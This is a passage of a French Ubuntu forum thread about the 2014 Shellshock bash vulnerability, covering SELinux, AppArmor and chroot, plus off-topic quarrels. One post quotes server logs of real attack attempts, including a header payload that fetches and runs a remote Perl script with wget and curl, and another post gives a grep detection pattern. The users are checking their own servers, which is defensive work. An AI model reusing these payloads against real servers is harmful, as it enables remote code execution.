#251 Le 29/09/2014, à 17:18
- yann_001
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Je m'adressais à arn0-Linux qui demande pour la 8.04.
http://forum.ubuntu-fr.org/viewtopic.ph … #p18154951
Mon post portait aussi à confusions. 
Hors ligne
#252 Le 29/09/2014, à 17:21
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
#253 Le 29/09/2014, à 17:22
- CM63
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour,
Et comment ça marche ce SELinux, il suffit de l'installer et automatiquement les commandes bash seront redirigées vers SELinux?
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne
#254 Le 29/09/2014, à 17:35
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour,
Et comment ça marche ce SELinux, il suffit de l'installer et automatiquement les commandes bash seront redirigées vers SELinux?
Ne sont donc pas concernées : toutes les distributions ayant un autre shell que Bash. Toutes les distributions ayant SELinux activé bénéficient d'une protection contre des exploitations de ce type. Mais également : tous les matériels embarqués et objets connectés, contrairement à ce que des articles de presse affirment, car ces matériels utilisent la plupart du temps busybox et son implémentation inline de Bash n'est pas vulnérable.
…
#255 Le 29/09/2014, à 17:46
- Pator75
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Hors ligne
#256 Le 29/09/2014, à 17:53
- yann_001
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Le titre est foireux.
Bourne-Again shell n'est pas Linux.
Hors ligne
#257 Le 29/09/2014, à 19:41
- Compte anonymisé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
01net a mangé un clown.
Rien de nouveau en somme.
Perso, ça fait bien longtemps que je considère 01net comme un spam.
#258 Le 29/09/2014, à 19:58
- Loupus11
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Pator75 a écrit :01net a mangé un clown.
Rien de nouveau en somme.
Perso, ça fait bien longtemps que je considère 01net comme un spam.
Salut regarde ici 
Cordialement
@Loupus11
Médion UK Akoya Ubuntu 14.04 LTS 64 bits
Intel(R) Pentium(R) CPU G630 @ 2.70GHz -4 Go Ram
intel: Driver for Intel Integrated Graphics Chipsets: i810,
La patience est un vêtement qui ne s'est jamais usé
Hors ligne
#259 Le 30/09/2014, à 06:05
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Salut regarde ici
Cordialement
@Loupus11
À noter :
…
Cette faille, qui a reçu l’identifiant CVE-2014-7169, permet également d’injecter du code et d’exécuter des commandes à distance. Néanmoins, elle serait plus difficile à exploiter que la première.
…
La première (celle du sujet actuel) était et restera inexploitable sur les systèmes utilisant SELinux …
Ça fait longtemps qu'il existe des choses à faire et à ne pas faire pour améliorer la sécurité. SELinux est incontournable avec un serveur et doit être actif par défaut avec la trilogie Red Hat, Fedora, et CentOS par exemple … (et d'autres distributions…)
Un ami informaticien (formation ESIGETEL, ancien responsable d'exploitation informatique) devenu formateur au GRETA en région parisienne me faisait déjà faire en 2008 sur mes ordinateurs personnel dur RAID 1 + LVM, et facilement une dizaine de partitions de fichiers, dont j'essayais de réduire le nombre car j'avais remarqué qu'en ext3 cela faisait des accès disques, et utilisait un peu de puissance CPU. C'était marrant, mais j'ai laissé tombe le LVM pendant un temps et j'ai réduit le nombre de partitions sur les ordinateurs que j'installais en 2009 et après.
Si j'ai compris la logique de mon ami informaticien et ses conseils que j'appliquerais enfin sur mon Super-Serveur-CentOS (un nom rigolo pour cet ordinateur) alors j'ai diminué la sécurité en réduisant le nombre de partitions, puisque sa grande phrase de conseil de partitionnement informatique est : «on ne met pas tous les œufs dans le même panier.» et ceux qui iront faire un tour au GRETA en région parisienne le découvriront, et pourront suivre sa formation d'administration Linux :
LINUX
- Principes des distributions libres
- Commandes de base du shell : Gestion des fichiers, des droits
- Système de démarrage SysV
- Les scripts et le shell bash
- Les différents systèmes de fichiers (ext3, xfs)
- Installation et déploiement d'un serveur
- Le noyau Linux, la gestion des paquets
- Amorçage et gestion des disques en RAID et LVM
- Gestion des tâches planifiées avec CRON
- Authentification UNIX/LINUX : Standard, avec LDAP, avec Samba
- Travailler avec Windows et SAMBA
- Gestion des sauvegardes
- Installation d'un serveur DHCP, DNS
- Installation d'un serveur Proxy avec SDUID
-Travailler avec les IPTABLES pour faire du routage
- Administration à distance avec SSH ou WEBMIN
- Installation d'un serveur Web APACHE et de l'environnement PHP
- Installation d'un serveur de bases de données MYSQL : Notions de requêtes SQL
- Administration réseau : DHCP, DNS, TELNET, FTP, NIS, ...
Finalement, même si le risque zéro n'existe peut-être pas encore avec GNU/Linux, on a beaucoup d'outils à disposition (comme SELinux), il faut apprendre à s'en servir.
Dernière modification par Compte supprimé (Le 30/09/2014, à 06:55)
#260 Le 30/09/2014, à 07:07
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
À prendre et/ou à laisser …
http://www.mathrice.org/IMG/pdf/support-SELinux.pdf
AppArmor contre SELinux
AppArmor ne sécurise qu’un certain nombre de programmes,
SELinux vise à sécuriser tout le système (en politique stricte).
Plus grande finesse d’action chez SELinux (granularité des droits,
MLS, RBAC).
Profils lisibles et faciles à créer chez AppArmor.
SELinux impose une intervention sur le système de fichiers et les
utilitaires de base, AppArmor s’intègre directement en se basant
sur les chemins d’accès.
AppArmor permet de créer des sous-profils (par ex. pour sécuriser
une page PHP plus spécifiquement que le serveur Apache).
SELinux considère Apache comme un seul processus si les pages
PHP utilisent mod_php.
“Mon module de sécurité va jusqu’à 11”, partie II
Selon diverses personnes anonymes (qui travaillent sur SELinux) :
AppArmor ne protège que quelques démons, donc ce n’est pas
sérieux.
On ne peut pas faire de sécurité sérieusement en se basant sur
les chemins d’accès.
L’outil de création de politique peut donner des résultats
dangereux.
Il vaut mieux que des pros de la sécurité définissent les
politiques plutôt que de laisser ça à un utilitaire automatique
#261 Le 30/09/2014, à 09:33
- Pator75
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
"On ne peut pas faire de sécurité sérieusement en se basant sur
les chemins d’accès."
Moi je dirais : "On ne peut pas faire de sécurité sérieusement en ne se basant que sur
les chemins d’accès."
Car les sociétés vendant des produits de sécurité chez Windows utilisent, entre autres techniques, cette méthode avec succès (proactivité, anti fuites).
Hors ligne
#262 Le 30/09/2014, à 12:08
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
"On ne peut pas faire de sécurité sérieusement en se basant sur
les chemins d’accès."Moi je dirais : "On ne peut pas faire de sécurité sérieusement en ne se basant que sur
les chemins d’accès."Car les sociétés vendant des produits de sécurité chez Windows utilisent, entre autres techniques, cette méthode avec succès (proactivité, anti fuites).
Personnellement je ne sais pas, je ne pensais même pas qu'on puisse faire de la sécurité sérieusement avec windows, tout simplement …
#263 Le 30/09/2014, à 12:19
- Pator75
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
"Personnellement je ne sais pas, je ne pensais même pas qu'on puisse faire de la sécurité sérieusement avec windows, tout simplement"
Alors il va falloir communément y penser, les tuiles s'accumulent, les serveurs... le bash... et s'enfermer dans le déni ou l'ironie n'y changera rien.
Maintenant il n'y a pas que Debian dans la vie, Windows 8 ça marche très bien, c'est vif et exempt de virus si bien protégé avec un bon antivirus/pare feu.
Hors ligne
#264 Le 30/09/2014, à 12:31
- nesthib
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bon c'est fini le HS ? Dernier avertissement ou il va falloir vous empêcher de poster dans cette section ?
GUL Bordeaux : Giroll – Services libres : TdCT.org
Hide in your shell, scripts & astuces : applications dans un tunnel – smart wget – trouver des pdf – install. auto de paquets – sauvegarde auto – ♥ awk
⃛ɹǝsn xnuᴉꞁ uʍop-ǝpᴉsdn
Hors ligne
#265 Le 30/09/2014, à 13:06
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour nesthib,
pourquoi ne pas indiquer dans ton premier message que la faille est inexploitable pour ceux qui ont configuré SELinux, s'il-te-plait ?
Dernière modification par Compte supprimé (Le 30/09/2014, à 13:16)
#266 Le 30/09/2014, à 13:25
- Nasman
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
SELinux, n'est ce pas le truc dans lequel la NSA avait apporté sa contribution ?
PC fixe sous Bionic 64 bits et portable avec Focal 64 bits
En ligne
#267 Le 30/09/2014, à 13:41
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
SELinux, n'est ce pas le truc dans lequel la NSA avait apporté sa contribution ?
Oui, les codes sources sont disponibles …
Il s'agit d'un logiciel libre, certaines parties étant sous licences GNU GPL et BSD.
Dernière modification par Compte supprimé (Le 30/09/2014, à 13:45)
#268 Le 30/09/2014, à 13:53
- CM63
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour,
Il s'agit d'un logiciel libre, certaines parties étant sous licences GNU GPL et BSD.
Oui, je ne comprends d'ailleurs pas le "certaines parties", et le reste c'est quoi? privé?
Attention, une faille de sécurité dans bash a récemment été rapportée...
Ah! Ils ont quand même modifié le bandeau!!
Bonne journée.
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne
#269 Le 30/09/2014, à 21:48
- Compte supprimé
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Je suis un peu allergique à SElinux ^^
Je considère qu'un chroot bien pensé aurait limité les dégâts sur un serveur en production... Freebsd utilise des jails depuis longtemps qui n'existent pas sous Gnu/Linux
https://www.freebsd.org/doc/fr/books/ha … jails.html
Crdt.
#270 Le 01/10/2014, à 06:00
- Pator75
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
"Bon c'est fini le HS ? Dernier avertissement ou il va falloir vous empêcher de poster dans cette section ?"
C'est fini le sectarisme? le sujet c'est bien la sécurité chez Linux et les moyens de la préserver? inévitablement on est amené à parler de ce qui se fait ailleurs.
Bitdefender s'intéresse à Dash Linux,
http://www.bitdefender.fr/blog/ShellSho … -1501.html
Dernière modification par Pator75 (Le 01/10/2014, à 06:21)
Hors ligne
#271 Le 01/10/2014, à 08:07
- CM63
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour,
Dans cet article , comme dans d'autres qu'on a lu ces derniers temps, on dit que la faille peut être exploitée en utilisant CGI. Concrètement cela se passe comment, et comment puis-je savoir si mon site est vulnérable de cette façon?
Dernière modification par CM63 (Le 01/10/2014, à 08:08)
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne
#272 Le 01/10/2014, à 08:20
- moko138
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Pator75 a écrit :01net a mangé un clown.
Rien de nouveau en somme.
Perso, ça fait bien longtemps que je considère 01net comme un spam.
Je ne sais pas ce que 01net disait de la faille dans bash et autres failles. Mais j'étais arrivé à la même conclusion qu'ignace72, et il est blacklisté via hosts sur tous mes pc.
%NOINDEX%
Un utilitaire précieux : ncdu
Photo, mini-tutoriel : À la découverte de dcraw
Hors ligne
#273 Le 01/10/2014, à 08:25
- abelthorne
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Dans cet article , comme dans d'autres qu'on a lu ces derniers temps, on dit que la faille peut être exploitée en utilisant CGI. Concrètement cela se passe comment, et comment puis-je savoir si mon site est vulnérable de cette façon?
Ça se passe en balançant des entêtes HTML forgées à un serveur. Entêtes qui contiennent des commandes bash planquées dans des variables d'environnement. Apparemment, si j'ai bien compris, CGI ne se pose pas de question et balance tout ça à bash. Les variables sont alors interprétées et les commandes dedans exécutées.
Tu peux déjà commencer par vérifier les logs de ton serveur web pour voir s'il y a des commandes bash qui se baladent dedans. Quelqu'un avait donné un exemple pour parser les logs Apache/Nginx il y a quelques pages.
EDIT : tout est expliqué en première page, en fait.
EDIT 2 : d'ailleurs, je vois que de mon côté, j'en ai eu quelques-unes :
/var/log/apache2/projets-access.log.1:209.126.230.72 - - [24/Sep/2014:22:50:11 +0200] "GET / HTTP/1.0" 200 358 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
/var/log/apache2/projets-access.log:146.71.113.194 - - [29/Sep/2014:00:07:40 +0200] "GET /cgi-bin/helpme HTTP/1.0" 404 470 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\""
/var/log/apache2/projets-access.log:54.251.83.67 - - [29/Sep/2014:17:58:20 +0200] "GET / HTTP/1.1" 200 339 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"J'avais déjà repéré le premier test du 24/09 qui ne fait rien de grave. Le troisième non plus mais je suis un peu plus inquiet pour la deuxième tentative. Sachant que j'ai fait les diverses mises à jour de bash au fur et à mesure, est-ce qu'il y a un risque potentiel que les commandes aient été exécutées ?
EDIT 3 : je rajoute ça dans les autres requêtes qui me paraissent louches et qui viennent après la deuxième :
24.178.248.243 - - [29/Sep/2014:00:38:28 +0200] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"
94.242.58.115 - - [29/Sep/2014:09:34:42 +0200] "GET http://94.242.58.115:64011/echo HTTP/1.0" 404 462 "-" "-"(Après recherche, c'est apparemment une tentative d'attaque qui vise certains routeurs Cicso, donc r.à.s., c'est juste une tentative au hasard qui ne me concerne pas.)
Dernière modification par abelthorne (Le 01/10/2014, à 08:43)
Hors ligne
#274 Le 01/10/2014, à 08:47
- CM63
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Merci Abethome pour ces infos, je regarde.
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne
#275 Le 01/10/2014, à 09:21
- CM63
Re : Faille de sécurité dans bash (mis à jour 12/10/2014)
Bonjour,
Sur mon hebérgement, je ne peux pas faire :
grep -r '() \+{' /var/log/{apache2,nginx}/Je n'ai pas accès au répertoire / . Je ne sais pas où sont les logs de Apache.
Dernière modification par CM63 (Le 01/10/2014, à 09:21)
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne